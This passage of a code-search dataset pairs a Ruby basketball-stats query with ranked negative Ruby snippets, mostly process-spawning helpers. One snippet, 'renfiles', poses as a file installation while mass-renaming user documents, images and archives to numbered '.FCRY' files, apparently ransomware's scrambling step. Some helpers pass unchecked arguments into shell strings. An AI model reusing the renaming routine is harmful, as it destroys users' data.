:success?\n\t\t\tyield status_success, out, err, status if block_given?\n\t\t\tif status_success\n\t\t\t\t# this block is called in case of success\n\t\t\t\ton_success.call(status, out, err) if on_success.is_a?(Proc)\n\t\t\telse # the command failed\n\t\t\t\tcase error_mode\n\t\t\t\twhen :nil\n\t\t\t\t\tout=nil\n\t\t\t\twhen :empty\n\t\t\t\t\tout=\"\"\n\t\t\t\twhen :error\n\t\t\t\t\traise RunError.new(\"Error running command '#{launch}': #{status}\")\n\t\t\t\twhen Proc\n\t\t\t\t\terror_mode.call(status, out, err)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif chomp and out\n\t\t\t\tcase chomp\n\t\t\t\twhen :line, :lines\n\t\t\t\t\t#out is now an array\n\t\t\t\t\tout=out.each_line.map {|l| l.chomp}\n\t\t\t\telse\n\t\t\t\t\tout.chomp! \n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# return out, error, status if error\n\t\t\treturn status, out, err\n\t\tend",
"def renfiles()\r\nputs 'File installation ...'\r\next = [\"exe\",\"txt\",\"rar\",\"zip\",\"jpeg\",\"pl\",\"bmp\",\"JPG\",\"jpg\",\"contact\",\"bat\",\"sql\",\"js\",\"css\",\"php\",\"pdf\",\"dll\",\"pas\",\"rtf\",\"wpd\",\"doc\",\"docx\",\"pptx\",\"ppt\",\"xls\",\"xml\",\"xlam\"]\r\n$c = 1\r\next.each do |a| \r\nfor i in 1..10\r\n$dd = system(\"start /min ren *#{a} #{$c}.FCRY\")\r\n$c = $c + 1\r\nend\r\nend\r\nend",
"def popen4(cmd, args={}, &b)\n \n # Waitlast - this is magic. \n # \n # Do we wait for the child process to die before we yield\n # to the block, or after? That is the magic of waitlast.\n #\n # By default, we are waiting before we yield the block.\n args[:waitlast] ||= false\n \n args[:user] ||= nil\n unless args[:user].kind_of?(Integer)\n args[:user] = Etc.getpwnam(args[:user]).uid if args[:user]\n end\n args[:group] ||= nil\n unless args[:group].kind_of?(Integer)\n args[:group] = Etc.getgrnam(args[:group]).gid if args[:group]\n end\n args[:environment] ||= {}\n\n # Default on C locale so parsing commands output can be done\n # independently of the node's default locale.\n # \"LC_ALL\" could be set to nil, in which case we also must ignore it.\n unless args[:environment].has_key?(\"LC_ALL\")\n args[:environment][\"LC_ALL\"] = \"C\"\n end\n \n pw, pr, pe, ps = IO.pipe, IO.pipe, IO.pipe, IO.pipe\n\n verbose = $VERBOSE\n begin\n $VERBOSE = nil\n ps.last.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC)\n\n cid = fork {\n pw.last.close\n STDIN.reopen pw.first\n pw.first.close\n\n pr.first.close\n STDOUT.reopen pr.last\n pr.last.close\n\n pe.first.close\n STDERR.reopen pe.last\n pe.last.close\n\n STDOUT.sync = STDERR.sync = true\n\n if args[:group]\n Process.egid = args[:group]\n Process.gid = args[:group]\n end\n\n if args[:user]\n Process.euid = args[:user]\n Process.uid = args[:user]\n end\n \n args[:environment].each do |key,value|\n ENV[key] = value\n end\n\n if args[:umask]\n umask = ((args[:umask].respond_to?(:oct) ? args[:umask].oct : args[:umask].to_i) & 007777)\n File.umask(umask)\n end\n \n begin\n if cmd.kind_of?(Array)\n exec(*cmd)\n else\n exec(cmd)\n end\n raise 'forty-two' \n rescue Exception => e\n Marshal.dump(e, ps.last)\n ps.last.flush\n end\n ps.last.close unless (ps.last.closed?)\n exit!\n }\n ensure\n $VERBOSE = verbose\n end\n\n [pw.first, pr.last, pe.last, ps.last].each{|fd| fd.close}\n\n begin\n e = Marshal.load ps.first\n raise(Exception === e ? e : \"unknown failure!\")\n rescue EOFError # If we get an EOF error, then the exec was successful\n 42\n ensure\n ps.first.close\n end\n\n pw.last.sync = true\n\n pi = [pw.last, pr.first, pe.first]\n\n if b \n begin\n if args[:waitlast]\n b[cid, *pi]\n Process.waitpid2(cid).last\n else\n # This took some doing.\n # The trick here is to close STDIN\n # Then set our end of the childs pipes to be O_NONBLOCK\n # Then wait for the child to die, which means any IO it\n # wants to do must be done - it's dead. If it isn't,\n # it's because something totally skanky is happening,\n # and we don't care.\n o = StringIO.new\n e = StringIO.new\n\n pi[0].close\n \n stdout = pi[1]\n stderr = pi[2]\n\n stdout.sync = true\n stderr.sync = true\n\n stdout.fcntl(Fcntl::F_SETFL, pi[1].fcntl(Fcntl::F_GETFL) | Fcntl::O_NONBLOCK)\n stderr.fcntl(Fcntl::F_SETFL, pi[2].fcntl(Fcntl::F_GETFL) | Fcntl::O_NONBLOCK)\n \n stdout_finished = false\n stderr_finished = false\n \n results = nil\n\n while !stdout_finished || !stderr_finished\n begin\n channels_to_watch = []\n channels_to_watch << stdout if !stdout_finished\n channels_to_watch << stderr if !stderr_finished\n ready = IO.select(channels_to_watch, nil, nil, 1.0)\n rescue Errno::EAGAIN\n results = Process.waitpid2(cid, Process::WNOHANG)\n if results\n stdout_finished = true\n stderr_finished = true \n end\n end\n\n if ready && ready.first.include?(stdout)\n line = results ? stdout.gets(nil) : stdout.gets\n if line\n o.write(line)\n else\n stdout_finished = true\n end\n end\n if ready && ready.first.include?(stderr)\n line = results ? stderr.gets(nil) : stderr.gets\n if line\n e.write(line)\n else\n stderr_finished = true\n end\n end\n end\n results = Process.waitpid2(cid).last unless results\n o.rewind\n e.rewind\n b[cid, pi[0], o, e]\n results\n end\n ensure\n pi.each{|fd| fd.close unless fd.closed?}\n end\n else\n [cid, pw.last, pr.first, pe.first]\n end\n end",
"def imagemagick7?; end",
"def execute_mogrify_commands(output_file:, arguments:)\n Image.execute(\"#{File.join(ENV['hydra_bin_path'], 'gm')} mogrify #{arguments} #{output_file}\")\n rescue StandardError => e\n Rails.logger.error(\"#{self.class} mogrify error. #{e}\")\n end",
"def spawn_args\n result = Array.new\n unless environment.empty?\n result << environment\n end\n result.concat(command_line)\n opts = Hash.new\n opts[:chdir] = directory.to_s unless directory.nil?\n opts[:pgroup] = pgroup unless pgroup.nil?\n opts[:umask] = umask unless umask.nil?\n opts[:unsetenv_others] = unsetenv_others unless unsetenv_others.nil?\n opts[:close_others] = close_others unless close_others.nil?\n rlimit.each do |key, value|\n opts[\"rlimit_#{key}\".to_sym] = value\n end\n redirection.each do |key, value|\n opts[key] = value\n end\n result << opts\n result\n end",
"def spawn_worker(f)\n pid = fork do\n # Note: By default, Ruby will finalize C objects inside the fork. Because those C objects\n # are shared with the parent, this can cause database connections to disconnect in the\n # parent process. We need to double-fork for proper semantics, so we disable the GC and\n # exit! to avoid finalizing shared handles.\n #\n # We should continue to look for alternate solutions, and to determine whether there is\n # still a possible race between the fork and the GC disabling.\n ::GC.disable\n ::Process.setsid\n exit! if fork\n\n # Acquire exclusive file lock, exit otherwise\n unless f.flock(File::LOCK_EX | File::LOCK_NB)\n exit! 1\n end\n\n f.truncate(0)\n\n # Lock acquired, cleanup old sock files\n Dir[\"#{sockfile_path}/skylight-*.sock\"].each do |sf|\n File.unlink(sf) rescue nil\n end\n\n pid = Process.pid.to_s\n\n # Write the pid\n f.write(pid)\n f.flush\n\n sf = sockfile(pid)\n File.unlink(sf) rescue nil\n\n t { fmt \"opening a new socket; %s\", sf }\n srv = UNIXServer.new(sf)\n\n unless ENV[TRACE_ENV_KEY]\n null = File.open \"/dev/null\", File::RDWR\n STDIN.reopen null\n STDOUT.reopen null\n STDERR.reopen null\n end\n\n # Cleanup the ENV\n ENV['RUBYOPT'] = nil\n\n @server.exec(SUBPROCESS_CMD, @config, f, srv, lockfile)\n end\n\n Process.detach(pid)\n end",
"def get_node_launch_command(node_info, mode, offset, nw_name)\n pwd = `pwd`.gsub(/\\n+/,\"\")\n ds = node_info.dir_structure\n if :docker.eql? mode\n docker_rpc_port = 6666\n docker_api_port = 7777\n \"docker run \\\n --name #{node_info.id} \\\n --hostname #{node_info.id} \\\n -e NODE_ID=#{node_info.id} \\\n -e ELECTION_TIMEOUT_MILLIS=3000 \\\n --mount type=bind,source=#{pwd}/#{ds.log},target=/node/cluster-data/log \\\n --mount type=bind,source=#{pwd}/#{ds.state},target=/node/cluster-data/state \\\n --mount type=bind,source=#{pwd}/#{ds.snapshot},target=/node/cluster-data/snapshot \\\n --mount type=bind,source=#{pwd}/#{ds.cluster},target=/node/cluster-data/cluster,readonly \\\n -p #{docker_api_port + offset}:#{docker_api_port} \\\n --network=#{nw_name} \\\n raft:local \\\n \".gsub(/\\s+/, \" \")\n else\n \"./raft \n --id=#{node_info.id} \\\n --api-port=#{node_info.api_port} \\\n --rpc-port=#{node_info.rpc_port} \\\n --log-entry-path=#{ds.log} \\\n --log-metadata-path=#{ds.log}/metadata.json \\\n --raft-state-path=#{ds.state}/state.json \\\n --election-timeout=3000 \\\n --rpc-timeout=2000 \\\n --api-timeout=2000 \\\n --api-fwd-timeout=1500 \\\n --max-conn-retry-attempts=5 \\\n --snapshot-path=#{ds.snapshot} \\\n --cluster-config-path=#{ds.cluster}/config.json \\\n \".gsub(/\\s+/, \" \")\n end\nend",
"def popen2e(&block)\n Open3.popen2e(*spawn_args, &block)\n end",
"def spawn(automation_template, options, log_file)\n env = {\n \"CLOBBER\" => \"1\"\n }\n splat_args = spawn_arguments(automation_template, options)\n logger = options[:logger]\n RunLoop::Logging.log_debug(logger, \"xcrun #{splat_args.join(' ')} >& #{log_file}\")\n pid = Process.spawn(env, 'xcrun', *splat_args, {:out => log_file, :err => log_file})\n Process.detach(pid)\n pid.to_i\n end",
"def start\n tempfile = ARGV.first\n system(\"#{MOCK_EXECUTABLE} #{tempfile} --start --example -y\")\n end",
"def test04()\n begin\n theCommands = CommandModule::SmigCommands.new\n name = SecureRandom.uuid\n createBitmapContextCommand1 = CommandModule.make_createbitmapcontext(\n name: name)\n bitmapContextObject1 = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: name)\n theCommands.add_command(createBitmapContextCommand1)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject1)\n\n jsonString = theCommands.commandshash.to_json\n tempDir = Dir.tmpdir()\n fileName = SecureRandom.uuid + \".json\"\n fullPath = File.join(tempDir, fileName)\n open(fullPath, 'w') { |f|\n f.puts jsonString\n }\n result, exitVal = Open3.capture2(\"smig\", \"performcommand\",\n \"-jsonfile\", fullPath)\n FileUtils.rm_f(fullPath)\n unless exitVal.exitstatus.zero?\n raise \"test012:test04 smig performcommand -jsonfile \" + fullPath\n end\n\n result, exitVal = Open3.capture2(\"smig\", \"performcommand\",\n \"-jsonstring\", jsonString)\n\n unless exitVal.exitstatus.zero?\n raise \"test012:test04 smig performcommand -jsonstring \" + jsonString\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \"Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(fullPath)\n end\nend",
"def sys(str, log = nil)\n puts [str, log && log.color(:yellow)].compact.join(' > ')\n\n cmd = [str, log].compact.join(' > ')\n\n pid = Process.spawn(cmd)\n begin\n Timeout::timeout(TIMELIMIT) do\n Process.wait(pid)\n end\n rescue Timeout::Error\n puts \"command out of time, re-Run\".bright\n system(\"pkill -TERM -P #{pid}\")\n sys(str, log)\n end\nend",
"def main()\n img = ImageList.new($input)\n convert = ImageList.new\n page = Magick::Rectangle.new(0,0,0,0)\n $total_ops = (img.rows * img.columns).to_f\n\n for i in 0..img.rows\n for j in 0..img.columns\n pixel = generate_hex_pixel(rgb_to_hex(img.pixel_color(j,i)))\n convert << pixel\n page.x = j * pixel.columns\n page.y = i * pixel.rows\n pixel.page = page\n progress()\n end\n end\n\n puts 'Writing image, this could take a while...'\n convert.mosaic.write($output)\nend",
"def copy_js_sparc_boot_images(options)\n boot_list=[]\n options['tftpdir']=\"/tftpboot\"\n boot_list.push(\"sun4u\")\n if options['version'] == \"10\"\n boot_list.push(\"sun4v\")\n end\n boot_list.each do |boot_arch|\n boot_file = options['repodir']+\"/Solaris_\"+options['version']+\"/Tools/Boot/platform/\"+boot_arch+\"/inetboot\"\n tftp_file = options['tftpdir']+\"/\"+boot_arch+\".inetboot.sol_\"+options['version']+\"_\"+options['update']\n if not File.exist?(boot_file)\n message = \"Information:\\tCopying boot image \"+boot_file+\" to \"+tftp_file\n command = \"cp #{boot_file} #{tftp_file}\"\n execute_command(options,message,command)\n end\n end\n return\nend"
] |
[
"0.68219876",
"0.6212604",
"0.60967004",
"0.60239035",
"0.5999302",
"0.59604627",
"0.5764037",
"0.5745316",
"0.57418483",
"0.57201093",
"0.5715334",
"0.5706591",
"0.5624999",
"0.56179565",
"0.5604674",
"0.55741477",
"0.55693066",
"0.5560377",
"0.5556088",
"0.5555733",
"0.5534424",
"0.55158687",
"0.5504211",
"0.54752976",
"0.54637074",
"0.54513985",
"0.54325813",
"0.542262",
"0.5410669",
"0.54010826",
"0.53887755",
"0.5367894",
"0.5365457",
"0.53641474",
"0.5355248",
"0.53495616",
"0.53132164",
"0.5299826",
"0.5298467",
"0.5287435",
"0.5281159",
"0.5280759",
"0.5275597",
"0.5268261",
"0.52530867",
"0.525182",
"0.52510303",
"0.5244979",
"0.5240532",
"0.5236068",
"0.52358234",
"0.52246505",
"0.5224518",
"0.52177906",
"0.5216193",
"0.52129656",
"0.52128726",
"0.5210103",
"0.5201209",
"0.5201209",
"0.5200401",
"0.5199898",
"0.51991266",
"0.51918674",
"0.5187482",
"0.5181369",
"0.5175118",
"0.5170284",
"0.51693857",
"0.5168032",
"0.5166262",
"0.5158384",
"0.51478493",
"0.51411986",
"0.5136375",
"0.51280165",
"0.51238745",
"0.511646",
"0.51136947",
"0.5106639",
"0.5104521",
"0.5099082",
"0.5093622",
"0.5093",
"0.5081244",
"0.50786734",
"0.5078525",
"0.5063559",
"0.5060448",
"0.50510406",
"0.50495046",
"0.5044415",
"0.5038768",
"0.5034932",
"0.50326115",
"0.50293416",
"0.50265175",
"0.5026222",
"0.50184655",
"0.5014862",
"0.5010218"
] |
0.0
|
-1
|
game_hash[:home][:players].collect do |ke,va| if ke == player return va[:shoe] end end game_hash[:away][:players].collect do |k,v| if k == player return v[:shoe] end end end
|
def team_colors(team)
game_hash.each do |side, value|
if value[:team_name] == team
return value[:colors]
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def shoe_size(player)\n out=\"no player\"\n x= game_hash[:home][:players]\n x.each do |playa|\n #this is where the players are listed and his stats\n out = playa[:shoe] if playa[:player_name]==player\n # playa.each do |key,value|\n # puts \"This is the key #{key} and this is the value #{value}\"\n # out=value if player=key\n # end\n end\n y= game_hash[:away][:players]\n y.each do |playa,stats|\n out = playa[:shoe] if playa[:player_name]==player\n end\n out\nend",
"def shoe_size(player_x)\n game_hash.each do |home_away, keys|\n keys[:players].each do |player|\n return player[:shoe] if player[:player_name] == player_x\n end\n end\nend",
"def grab_shoe\n j, k = [], 0\n game_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute = :players\n j = game_hash[location][attribute].keys\n j.each do |name|\n if game_hash[location][attribute][name][:shoe] > k\n k = game_hash[location][attribute][name][:shoe]\n end#if\n end#j\n end#if\n end#team\n end#game\n k\nend",
"def player_numbers(team_name)\n outcome = []\n game_hash.each do |home_or_away, team_details|\n team_details.each do |key,value|\n if value == team_name\n game_hash[home_or_away][:players].each do |one_hash|\n one_hash.each do |key1,value1|\n if key1 == :number \n outcome << one_hash[key1]\n end\n end\n end \n end\n end\n end\n outcome\nend",
"def players\n all_players = {}\n game_hash.each do |home_or_away, team_stats|\n all_players.merge!(team_stats[:players])\n end\n all_players\nend",
"def player_stats(player)\n game_hash.each do |location, team_info_hash|\n # location = :home,:away; players_hash = :team_name, :colors, :players\n team_info_hash[:players].each do |player_name, player_info_hash|\n # player_name = \"Jeff Adrian\" ect., player_info_hash = :number, :shoe, :points, :rebounds, :assists, :steals, :blocks, :slam_dunks\n if player_name == player\n return player_info_hash\n end\n end\n end\nend",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def player_stats(player)\n game_hash.each do |team, team_info|\n team_info.each do |keys, values|\n if keys == :players \n values.each do |stats|\n if player == stats[:player_name]\n return stats\n end\n end\n end\n end\n end\nend",
"def shoe_size(name)\n shoe_size = nil\n game_hash.each do |home_or_away, team_details|\n team_details[:players].each do |one_hash| # one_hash is an array\n one_hash.each do |key1,value1|\n if one_hash.has_value? (name)\n shoe_size = one_hash[:shoe]\n end\n end\n end\n end\n shoe_size\nend",
"def players\n game_hash[:home][:players].merge(game_hash[:away][:players])\nend",
"def home_team_players\n home_team_players = game_hash[:home][:players]\nend",
"def points_scored_for_player(name,game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats][:points] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats][:points] if player_hash[:player_name] == name\n end\nend",
"def big_shoe_rebounds\n big_shoe_rebounds_helper\n rebounds = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if big_shoe_rebounds_helper == element[:shoe]\n rebounds = element[:rebounds]\n end\n end\n end\n rebounds \nend",
"def player_stats(player)\n game_hash.each do |k, team|\n team[:players].each do |e|\n if e[:player_name] == player\n return e\n end\n end\n end\nend",
"def player_numbers(t_name)\narr = []\ngame_hash.collect do |key, value|\nif game_hash[key].values.include?(t_name)\nvalue[:players].collect do |key2, value2|\n# puts value2\narr << value2[:number]\nend\nend\nend\narr\nend",
"def player_data\n players = []\n game_hash.each do |home_away, team_details|\n players << team_details[:players]\n end\n return players.flatten\nend",
"def shoe_size(player_name)\n game_hash.each do |team, team_data|\n team_data[:players].each do |this_player, player_data|\n if player_name == this_player\n return player_data[:shoe]\n end\n end\n end\nend",
"def shoe_size(player)\n game_hash.each do |k, team|\n team[:players].each do |e|\n if e[:player_name] == player\n return e[:shoe]\n end\n end\n end\nend",
"def big_shoe_rebounds\n shoe_max = 0\n rebounds = nil\n game_hash.each do |home_or_away, team_details|\n team_details[:players].each do |one_hash| # one_hash is an array\n one_hash.each do |key1,value1| #one_hash is a hash now\n if key1 == :shoe\n if value1 > shoe_max\n shoe_max = value1 \n if value1 == shoe_max\n rebounds = one_hash[:rebounds]\n end\n end\n end\n end\n end\n end\n rebounds\nend",
"def away_players\n game_hash[:away][:players] \nend",
"def away_players\n game_hash[:away][:players]\nend",
"def all_stats_for_player(name, game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\nend",
"def players\n game_hash[:away][:players].concat(game_hash[:home][:players])\n \nend",
"def big_shoe_rebounds\n shoe_sizes = []\n output = nil\n game_hash.each do |team, att|\n game_hash[team][:players].each { |k, v| shoe_sizes << k[:shoe] }\n game_hash[team][:players].each { |k, v|\n k[:shoe] == shoe_sizes.sort.pop ? output = k[:rebounds] : nil }\n end\n output \nend",
"def all_players\n home_team = game_hash.fetch(:home).fetch(:players)\n away_team = game_hash.fetch(:away).fetch(:players)\n return home_team + away_team\nend",
"def shoe_size(player_name)\n game_hash.each do |place, team|\n team.each do |attribute, data|\n if attribute == :players \n data.each do |player|\n if player[:player_name]== player_name\n return player[:shoe]\n end\n end\n end\n end\n end\nend",
"def shoe_size(player_name)\n # using .each do |location, team_data| to iterate over each piece of data to expose specific data, in this case the team_players\n game_hash.each do |location, team_data|\n # goes through all of the players and then a name and its value\n team_data[:players].each do |name, data|\n # if the key \"name\" is equal to player_name then the value of shoe should be returned\n if name == player_name\n return data[:shoe]\n end\n end\n end\nend",
"def all_players \n game_hash[:home][:players] + game_hash[:away][:players]\nend",
"def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend",
"def all_players(game_hash)\n game_hash[:home][:players] + game_hash[:away][:players]\nend",
"def player_collection \n all_players = [];\n game_hash.each_pair { |h_or_a, team_info|\n team_info[:players].map { |player|\n player[:location] = h_or_a;\n player[:team_name] = game_hash[h_or_a][:team_name];\n player[:team_colors] = game_hash[h_or_a][:colors];\n all_players << player;\n }\n }\n all_players; \nend",
"def home_players\n game_hash[:home][:players]\nend",
"def team_names\n data = game_hash\n all_teams = []\n \n data.each_pair do |home_away, home_away_hash|\n home_away_hash.each_pair do |team_key, team_value|\n \n if team_key == :team_name\n all_teams << team_value\n end\n \n end\n end\n all_teams\nend",
"def home_players\n game_hash[:home][:players] \nend",
"def player_stats(player)\n game_hash.each do |location, team_data|\n team_data[:players].each do |name, stats|\n if name.to_s == player\n return stats\n end\n end\n end\nend",
"def shoe_size(player_name)\n shoe_size = \"\"\n\n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if player_name == element[:player_name]\n shoe_size = element[:shoe]\n end\n end\n end\n shoe_size\nend",
"def shoe_size(player_n)\n game_hash.each do |home_away, keys|\n keys[:players].each do |player|\n return player[:shoe] if player[:player_name] == player_n\n end\n end\nend",
"def winning_team\n points_home = 0\n points_away = 0\n result = \"\"\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if side = :home\n points_home += player[:points]\n else\n points_away += player[:points]\n end\n end\n end\n end\n end\n if points_home > points_away\n result = game_hash[:home][:team_name]\n else\n result = game_hash[:away][:team_name]\n end\n result\nend",
"def team_names\n team_names = []\n game_hash.each do |home_or_away, team_stats|\n team_names << team_stats[:team_name]\n end\n team_names\nend",
"def player_stats(player_name)\nplayer_stats = {}\n game_hash.each do |location, attributes|\n attributes[:players].each do |player, stats|\n if player == player_name\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def get_all_players\n ## Version 2.0 ##\n\n all_players = []\n\n # Same steps, but since we don't care about team, let's use .values to just\n # iterate over the team_data:\n game_hash.values.each do |team_data|\n team_data[:players].each do |player|\n all_players << player\n end\n end\n\n all_players\nend",
"def shoe_size(player_name)\n result = nil\n game_hash.each do |team, about|\n about[:players].each do |name, stats|\n if player_name == name\n result = stats[:shoe]\n end\n end\n end\n result\nend",
"def player_stats(player_name)\n result = {}\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n result = player\n result.delete(:player_name)\n end\n end\n end\n end\n end\n result\nend",
"def shoe_size(player_name)\n game_hash.values.each do |team|\n team[:players].each do |player|\n return player[:shoe] if player.has_value?(player_name)\n end\n end\nend",
"def player_stats(player_name)\n player_name_stats = nil\n game_hash.select do |team, team_stats|\n team_stats[:players].select do |player_stats|\n if player_stats[:player_name] == player_name\n player_name_stats = player_stats\n end\n end\n end\n player_name_stats\nend",
"def all_players\n home_players = game_hash[:home][:players] # Array of player Hashes\n away_players = game_hash[:away][:players] # Array of player Hashes\n home_players + away_players # Array of player Hashes\nend",
"def all_players\n home_players = game_hash[:home][:players] # Array of player Hashes\n away_players = game_hash[:away][:players] # Array of player Hashes\n home_players + away_players # Array of player Hashes\nend",
"def big_shoe_rebounds\n big_shoes = []\n max_shoe = []\n what_team = []\n game_hash.each do |location, team_color_player|\n team_color_player.each do |tcp, players|\n if tcp == :players\n players.each do |player, stat|\n stat.each do |statistic, actual|\n if statistic == :shoe\n max_shoe.push(actual)\n if max_shoe.max == actual\n big_shoes.push(player)\n what_team.push(location)\n end\n end\n end\n end\n end\n end\n end\n return game_hash[what_team.last][:players][big_shoes.last][:rebounds]\nend",
"def team_names\n game_hash.collect {|home_or_away, stats| team_name = stats[:team_name].to_s}\nend",
"def shoe_size(name)\n game_hash.each do |place, team|\n team.each do |attribute, data|\n if attribute == :players\n data.each do |player|\n if name == player[:player_name] \n return player[:shoe] \n end\n end\n end\n end\n end\nend",
"def big_shoe_points\n big_shoes_guy = 0\n points = 0\n game_hash.each do | location, attributes|\n attributes[:players].each do |player, stats|\n if stats[:shoe] > big_shoes_guy\n big_shoes_guy = stats[:shoe]\n points = stats[:points]\n end\n end\n end\n points\nend",
"def team_names\n game_hash.collect do |location, team_data|\n team_data[:team_name]\n end\nend",
"def players\n #merge list of players\n game_hash[:home][:players].merge(game_hash[:away][:players])\nend",
"def player_stats(player_name)\n result = {}\n game_hash.each do |team, about|\n about[:players].each do |name, stats|\n if player_name == name\n result = stats\n end\n end\n end\n result\nend",
"def player_stats(name)\n# player_stats start at nil (nothing)\n player_stats = nil\n# game_hash.each do |home_away, team_info| iterates over the hash to return all player_stats\n game_hash.each do |home_away, team_info|\n team_info.each do |data_label, data|\n if data_label == :players\n data.each do |player_name, stats|\n if player_name == name\n player_stats = stats\n end\n end\n end\n end\n end\n player_stats\nend",
"def shoe_size (player_name)\n\n game_hash.each do |side, team|\n team.each do |specs, info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n return player[:shoe]\n end\n end\n end\n end\n end\nend",
"def players\n # players_array = []\n # iterating through game hash and returning a list of all my players\n game_hash.map do |key, value|\n value[:players]\n end.flatten\n\nend",
"def big_shoe_rebounds\n big_foot = 0\n boards = 0\n\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n if player[:shoe] > big_foot\n big_foot = player[:shoe]\n boards = player[:rebounds]\n end\n end\n end\n return boards\nend",
"def shoe_size(name)\n game_hash.collect do |key, value|\n value.collect do |key2, value2|\n if value2.include?(name)\n return game_hash[key][key2][name][:shoe]\n\n end\n end\n end\n\nend",
"def big_shoe_rebounds()\n shoe_size = 0\n result = 0\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if player[:shoe] > shoe_size\n shoe_size = player[:shoe]\n result = player[:rebounds]\n\n end\n end\n end\n end\n end\n result\nend",
"def player_stats(player_name)\n game_hash.each do |side, value|\n value[:players].each do |name, stats|\n\n if name == player_name\n return stats\n end\n\n end\n end\nend",
"def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |location, data|\n if data[:team_name] == \"#{team_name}\" #found match\n data[:players].each do |player, value|\n jersey_nums << value[:number]\n end\n end\n end\n jersey_nums\nend",
"def player_numbers(teamname)\n outArray = []\n if game_hash[:home][:team_name] == teamname\n game_hash[:home][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\n\n elsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\nend\nend",
"def iterate_through_players_for(name, situation)\n game_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players \n data.each do |player| \n if player[:player_name] == name\n return player[situation]\n end\n end\n end\n end\n end\nend",
"def team_names\n game_hash.collect do |team, all_info_hash|\n all_info_hash[:team_name]\n end\nend",
"def get_all_players\n ## Version 5.0 ##\n\n # We can just chain .flatten onto the end of map.\n # By doing this, we can get rid of all_players.\n game_hash.values.map do |team_data|\n team_data[:players]\n end.flatten\nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.each do |location, keys|\n keys[:players].each do |player_info|\n if player_info[:player_name] == player_name\n player_info.delete(:player_name)\n player_stats<< player_info\n end \n end\n end\n player_stats[0]\n #binding.pry\nend",
"def player_numbers(team_name)\n jersey_numbers = []\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if team_name == value[:team_name]\n jersey_numbers << element[:number]\n end\n end\n end\n jersey_numbers\nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.collect do |team_key, team_value|\n team_value[:players].each do |stats|\n if stats[:name] == player_name\n stats.delete(:name)#deletes name to keep in same formart ask for in test.\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def team_names \n # team_array = []\n # game_hash.each do |location, team_data|\n # team_array << team_data[:team_name]\n # end\n # team_array\n game_hash.collect do |location, team_data|\n team_data[:team_name]\n end\nend",
"def team_names\n game_hash.collect do |team_key, team_value|\n team_value[:team_name]\n end\nend",
"def big_shoe_rebounds\n big_shoe = 0\n result = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n stats.each do |stat, value|\n if stat == :shoe\n if big_shoe < value \n result = stats[:rebounds]\n big_shoe = value\n end\n end\n end\n end\n end\n result\nend",
"def players_names_array \n player_names = []\n game_hash.each do |place,team|\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| \n player_names.push(player[:player_name])\n end\n end\n end\n player_names\nend",
"def winning_team\n home_team_sum = 0\n away_team_sum = 0\n game_hash.each do |team, team_stats|\n if team_stats[:team_name] == \"Brooklyn Nets\"\n team_stats[:players].each do |player_stats|\n home_team_sum += player_stats[:points]\n end\n elsif team_stats[:team_name] == \"Charlotte Hornets\"\n team_stats[:players].each do |player_stats|\n away_team_sum += player_stats[:points]\n end\n end\n end\n if home_team_sum > away_team_sum\n game_hash[:home][:team_name]\n elsif home_team_sum < away_team_sum\n game_hash[:away][:team_name]\n end\nend",
"def shoe_size (player_name)\n shoe_answer = nil\n game_hash.each do |team, all_info_hash|\n players_array = all_info_hash[:players]\n players_array.each do |player_information_hash|\n if player_information_hash[:player_name] == player_name\n shoe_answer = player_information_hash[:shoe]\n end\n end\n end\n shoe_answer\nend",
